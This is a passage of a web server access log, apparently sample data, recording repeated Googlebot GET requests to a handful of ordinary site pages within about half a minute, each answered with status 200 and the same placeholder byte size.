web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:52 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:52 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:52 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:52 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:52 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:53 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:53 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:53 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:53 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:53 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:53 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:53 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:53 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:54 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:54 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:54 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:54 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:54 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:54 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:55 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:55 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:55 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:55 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:55 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:55 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:55 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:55 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:55 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:55 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:56 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:56 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:56 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:56 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:56 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:56 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:56 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:03:56 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:56 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:56 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:57 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:57 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:57 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:57 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:57 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:57 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:57 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:57 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:57 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:57 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:58 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:03:58 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:58 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:03:58 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:58 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:03:58 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:58 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:58 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:58 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:03:58 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:59 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:03:59 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:59 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:59 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:59 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:03:59 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:03:59 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:03:59 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:00 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:00 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:00 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:00 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:00 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:00 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:00 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:00 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:00 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:00 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:01 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:01 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:01 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:01 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:01 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:01 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:01 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:01 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:02 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:02 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:02 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:02 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:02 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:02 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:02 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:02 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:02 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:02 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:03 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:03 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:03 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:03 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:03 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:03 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:03 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:03 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:04 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:04 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:04 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:04 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:04 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:04 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:04 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:04 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:05 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:05 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:05 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:05 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:05 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:05 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:05 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:05 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:05 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:05 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:06 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:06 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:06 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:06 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:06 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:06 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:06 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:06 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:07 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:07 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:07 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:07 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:07 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:07 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:07 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:07 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:07 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:07 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:08 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:08 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:08 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:08 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:08 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:08 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:08 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:08 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:09 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:09 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:09 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:09 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:09 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:09 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:09 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:09 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:10 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:10 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:10 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:10 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:10 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:10 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:10 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:10 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:10 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:10 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:11 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:11 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:11 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:11 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:11 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:11 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:11 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:11 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:12 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:12 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:12 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:12 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:12 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:12 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:12 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:12 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:12 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:12 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:13 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:13 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:13 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:13 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:13 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:13 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:13 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:13 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:14 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:14 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:14 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:14 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:14 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:14 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:14 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:14 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:15 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:15 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:15 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:15 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:15 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:15 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:16 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:16 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:16 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:16 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:16 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:16 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:17 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:17 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:17 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:17 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:17 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:17 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:18 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:18 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:18 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:18 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:18 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:18 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:19 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:19 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:19 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:19 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:19 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:19 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:20 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:20 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:20 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:20 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:20 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:20 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:20 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:20 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:21 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:21 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:21 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:21 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:21 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:21 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:21 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:21 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:22 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:22 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:22 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:22 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:22 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:22 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:23 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:23 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; 